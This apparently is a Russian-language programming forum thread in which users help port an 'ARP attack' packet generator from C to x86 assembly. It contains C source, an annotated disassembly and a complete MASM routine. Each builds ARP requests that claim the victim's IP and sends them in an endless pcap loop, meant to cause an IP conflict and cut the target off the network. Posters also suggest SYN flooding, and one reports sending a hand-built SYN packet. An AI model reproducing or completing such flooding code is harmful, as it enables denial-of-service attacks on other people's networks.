Точнее уже есть код боевого arp-пакета, но на си, если кто поможет собрать тоже самое на асме, был бы безмерно благодарен! Код (Text): #define ETHSIZE sizeof(struct ether) #define ARPSIZE sizeof(struct arphdr) #define SIZE ETHSIZE + ARPSIZE #define DEST "\xff\xff\xff\xff\xff\xff" #define SOURCE "\x00\x00\x00\x00\x00\x00" // dst_ip = inet_addr(ip) // fp = descriptor(\Device\NPF_{BEDDAA1B-FB18-4E18-8391-EE77EA185295}) ether = (struct ether *)buff; arphdr = (struct arphdr *)(buff + ETHSIZE); memcpy(ether->dest, DEST, ETHERLEN); memcpy(ether->source, SOURCE, ETHERLEN); ether->type = htons(ETHERTYPE_ARP); arphdr->hwtype = htons(ARPHRD_ETHER); arphdr->ptype = htons(ETHERTYPE_IP); arphdr->hwlen = ETHERLEN; arphdr->plen = PROTOLEN; arphdr->opcode = htons(ARPOP_REQUEST); memcpy(arphdr->hwsource, SOURCE, ETHERLEN); arphdr->psource = dst_ip; memcpy(arphdr->hwdest, DEST, ETHERLEN); arphdr->pdest = dst_ip; // while(1) { // if(pcap_sendpacket(fp, buff, sizeof(buff)) < 0) { // printf("\nError: problems for sending packet\n"); // exit(1); // } // printf("."); // sleep(1); // } return(0); } _85845900__arp.h
а что, это должно возъиметь эффект? арп ответы не вызовут новых пакетов. и бла бла бла легче синфлудом забить
q_q Проблема в том, что все компиляторы требуют чтоб код был рабочий, иначе asm-листинга не будет.(насчёт "все" - я конечно поторопился, но на vcpp6 с ключами cl /FAs, Fa - требует рабочий код). А чтоб сделать код рабочим нуно цеплять кучу pcap include, пробовал, да серого вещества не хватает p.s. доводы конечно слабие, но какие уж есть.. Narkomanius после получения этих покетов отключаешся от сети, пока ip не сменишь - не зайдёшь.
Попытаюсь собрать! Завтра или сегодня.... Я давно уже хотел найти что-нибуть подобное... Хочешь устроить атаку типа ARP-dummynet?
int pcap_sendpacket ( pcap_t * p, u_char * buf, int size) Чтоб отправить пакет нужно получить параметр pcap_t * С помощью какой функции получить этот параметр и где посмотреть описание передаваемых функции параметров?
Да нет небыло никакого конфликта,небыло и никакого эффекта. Откуда ты взял то что после получения этих покетов отключаешся от сети, пока ip не сменишь?
Flasher компиляторы требуют чтоб код был рабочий Ты вообще не имеешь представления о Си? Достаточно, чтобы код компилировался. Код (Text): #pragma warning(disable : 4103) #include "arp.h" #pragma warning(default : 4103) extern unsigned short _stdcall htons(unsigned short hostshort); #define ETHSIZE sizeof(struct ether) #define ARPSIZE sizeof(struct arphdr) #define SIZE ETHSIZE + ARPSIZE #define DEST "\xff\xff\xff\xff\xff\xff" #define SOURCE "\x00\x00\x00\x00\x00\x00" int foo(unsigned char *buff, unsigned long dst_ip) { struct ether *ether = (struct ether *)buff; struct arphdr *arphdr = (struct arphdr *)(buff + ETHSIZE); memcpy(ether->dest, DEST, ETHERLEN); memcpy(ether->source, SOURCE, ETHERLEN); ether->type = htons(ETHERTYPE_ARP); arphdr->hwtype = htons(ARPHRD_ETHER); arphdr->ptype = htons(ETHERTYPE_IP); arphdr->hwlen = ETHERLEN; arphdr->plen = PROTOLEN; arphdr->opcode = htons(ARPOP_REQUEST); memcpy(arphdr->hwsource, SOURCE, ETHERLEN); arphdr->psource = dst_ip; memcpy(arphdr->hwdest, DEST, ETHERLEN); arphdr->pdest = dst_ip; return(0); }
Flasher Загрузить winarpw.exe в Olly и попробовать сопоставить C'шный код asm'у не пробовал? У меня получилось так Код (Text): ... WSACleanup(); fp = get_iface(); ether = (struct ether *)buff; arphdr = (struct arphdr *)(buff + ETHSIZE); memcpy(ether->dest, DEST, ETHERLEN); memcpy(ether->source, SOURCE, ETHERLEN); ether->type = htons(ETHERTYPE_ARP); arphdr->hwtype = htons(ARPHRD_ETHER); arphdr->ptype = htons(ETHERTYPE_IP); arphdr->hwlen = ETHERLEN; arphdr->plen = PROTOLEN; arphdr->opcode = htons(ARPOP_REQUEST); memcpy(arphdr->hwsource, SOURCE, ETHERLEN); arphdr->psource = dst_ip; memcpy(arphdr->hwdest, DEST, ETHERLEN); arphdr->pdest = dst_ip; while(1) { if(pcap_sendpacket(fp, buff, sizeof(buff)) < 0) { printf("\nError: problems for sending packet\n"); exit(1); } printf("."); sleep(DELAY); } ... 0040159B CALL <JMP.&WS2_32.WSACleanup> ;; WSACleanup(); 004015A0 CALL _1962936.00401310 ;; EAX <- get_iface(); 004015A5 SUB ESP,0C ;; 00403191 db 00h, 00h, 00h, 00h, 00h, 00h, 00h, 0Ah, ... 004015A8 MOV ECX,DWORD PTR DS:[403191] ;; ECX <- 00000000h 004015AE MOV BX,WORD PTR DS:[403195] ;; BX <- 0000h 004015B5 MOV DWORD PTR SS:[EBP-1DC],ECX ;; ???? 004015BB MOV DWORD PTR SS:[EBP-42],ECX ;;\ ;; } memcpy(ether->source, SOURCE, ETHERLEN); 004015BE MOV WORD PTR SS:[EBP-3E],BX ;;/ 004015C2 MOV EDI,EAX ;; EDI <- fp 004015C4 MOV DWORD PTR SS:[EBP-48],0FFFFFFFF ;;\ ;; } memcpy(ether->dest, DEST, ETHERLEN); 004015CB MOV WORD PTR SS:[EBP-44],0FFFF ;;/ 004015D1 PUSH 806 ;;\ 004015D6 CALL <JMP.&WS2_32.htons> ;; } ether->type = htons(ETHERTYPE_ARP); 004015DB MOV WORD PTR SS:[EBP-3C],AX ;;/ 004015DF PUSH 1 ;;\ 004015E1 CALL <JMP.&WS2_32.htons> ;; } arphdr->hwtype = htons(ARPHRD_ETHER); 004015E6 MOV WORD PTR SS:[EBP-3A],AX ;;/ 004015EA PUSH 800 ;; ETHERTYPE_IP 004015EF CALL <JMP.&WS2_32.htons> ;; EAX <- htons(ETHERTYPE_IP); 004015F4 MOV BYTE PTR SS:[EBP-36],6 ;; arphdr->hwlen = ETHERLEN; 004015F8 MOV BYTE PTR SS:[EBP-35],4 ;; arphdr->plen = PROTOLEN; 004015FC MOV WORD PTR SS:[EBP-38],AX ;; arphdr->ptype = htons(ETHERTYPE_IP); 00401600 PUSH 1 ;; ARPOP_REQUEST 00401602 CALL <JMP.&WS2_32.htons> ;; EAX <- htons(ARPOP_REQUEST); 00401607 MOV WORD PTR SS:[EBP-2E],BX ;; часть memcpy(arphdr->hwsource, SOURCE, ETHERLEN); 0040160B ADD ESP,0C 0040160E LEA EBX,DWORD PTR SS:[EBP-48] ;; EBX <- адрес buff 00401611 MOV WORD PTR SS:[EBP-34],AX ;; arphdr->opcode = htons(ARPOP_REQUEST); 00401615 MOV EAX,DWORD PTR SS:[EBP-1DC] ;; EAX <- 00000000h см. команду по адресу 004015B5 0040161B MOV DWORD PTR SS:[EBP-32],EAX ;; часть memcpy(arphdr->hwsource, SOURCE, ETHERLEN); 0040161E MOV DWORD PTR SS:[EBP-2C],ESI ;; arphdr->psource = dst_ip; 00401621 MOV DWORD PTR SS:[EBP-28],0FFFFFFFF ;;\ ;; } memcpy(arphdr->hwdest, DEST, ETHERLEN); 00401628 MOV WORD PTR SS:[EBP-24],0FFFF ;;/ 0040162E MOV DWORD PTR SS:[EBP-22],ESI ;; arphdr->pdest = dst_ip; 00401631 JMP SHORT _1962936.0040164C ;; открывающаяся скобка while(1){ ... } 00401633 SUB ESP,0C 00401636 PUSH 2E ;; '.' 00401638 CALL <JMP.&msvcrt.putchar> ;; printf("."); 0040163D MOV DWORD PTR SS:[ESP],1F4 ;; 1F4h == 500, т.к. CLOCKS_PER_SEC 1000 00401644 CALL <JMP.&msvcrt._sleep> ;; sleep(DELAY); 00401649 ADD ESP,10 0040164C PUSH EAX ;;\ 0040164D PUSH 2A ;; \_ 0040164F PUSH EBX ;; } pcap_sendpacket(fp, buff, sizeof(buff)) 00401650 PUSH EDI ;; / 00401651 CALL <JMP.&wpcap.pcap_sendpacket> ;; / 00401656 ADD ESP,10 ;;/ 00401659 TEST EAX,EAX ;; if(pcap_sendpacket(...) < 0) { 0040165B JNS SHORT _1962936.00401633 ;; закрывающаяся скобка while(1){ ... } 0040165D SUB ESP,0C ;; 00403198 db 'Error: problems for sending packet"' 00401660 PUSH _1962936.00403198 ;;\ 00401665 CALL <JMP.&msvcrt.puts> ;; } printf("\nError: problems for sending packet\n"); 0040166A POP EAX ;;/ 0040166B PUSH 1 ;;\ 0040166D CALL <JMP.&msvcrt.exit> ;; } exit(1); ...
Flasher Н-да. Тяжко. Держи. Код (Text): .386 .model flat,stdcall arphdr struct arp_hwtype dw ? arp_ptype dw ? arp_hwlen db ? arp_plen db ? arp_opcode dw ? arp_hwsource db 6 dup(?) arp_psource dd ? arp_hwdest db 6 dup(?) arp_pdest dd ? arphdr ends ether struct eth_dest db 6 dup(?) eth_src db 6 dup(?) eth_type dw ? ether ends ETHSIZE = sizeof ether ARPSIZE = sizeof arphdr ETHERLEN = 6 PROTOLEN = 4 ARPHRD_ETHER = 1 ARPOP_REQUEST = 1 ETHERTYPE_IP = 0800h ETHERTYPE_ARP = 0806h extern htons : proc extern Sleep : proc extern pcap_sendpacket : proc .code even foo proc uses ebx edi, dst_ip : dword, fp : dword local buff[ETHSIZE + ARPSIZE] : byte ;; в EDI адрес WS2_32.htons mov edi,htons lea ebx,buff ;; memcpy(ether->source, SOURCE, ETHERLEN); xor eax,eax mov [ebx+6],eax mov [ebx+0Ah],ax ;; memcpy(ether->dest, DEST, ETHERLEN); not eax mov [ebx],eax mov [ebx+4],ax ;; ether->type = htons(ETHERTYPE_ARP); push ETHERTYPE_ARP call edi mov (ether ptr [ebx]).eth_type,ax add ebx,ETHSIZE ;; arphdr->hwtype = htons(ARPHRD_ETHER); push ARPHRD_ETHER call edi mov (arphdr ptr [ebx]).arp_hwtype,ax ;; arphdr->ptype = htons(ETHERTYPE_IP); push ETHERTYPE_IP call edi mov (arphdr ptr [ebx]).arp_ptype,ax ;; arphdr->hwlen = ETHERLEN; mov (arphdr ptr [ebx]).arp_hwlen,ETHERLEN ;; arphdr->plen = PROTOLEN; mov (arphdr ptr [ebx]).arp_plen,PROTOLEN ;; arphdr->opcode = htons(ARPOP_REQUEST); push ARPOP_REQUEST call edi mov (arphdr ptr [ebx]).arp_opcode,ax ;; memcpy(arphdr->hwsource, SOURCE, ETHERLEN); xor eax,eax mov [ebx+8],eax mov [ebx+0Ch],ax ;; arphdr->psource = dst_ip; push dst_ip pop (arphdr ptr [ebx]).arp_psource ;; memcpy(arphdr->hwdest, DEST, ETHERLEN); not eax mov [ebx+12h],eax mov [ebx+16h],ax ;; arphdr->pdest = dst_ip; push dst_ip pop (arphdr ptr [ebx]).arp_pdest ;; в EDI адрес wpcap.pcap_sendpacket mov edi,pcap_sendpacket @@: ;; pcap_sendpacket(fp, buff, sizeof(buff)) push sizeof buff push ebx push fp call edi add esp,0Ch test eax,eax js short @F ;; тут можешь рисовать точки, я ограничусь слипом ;; printf("."); ;; sleep(1); push 500 ;; half second call Sleep jmp short @B @@: xor eax,eax ret foo endp end
Я тут собрал весь ракет Ethernet->IP->TCP(SYN). "Пальнул" через pcap_sendpacket и мне даже ответили ))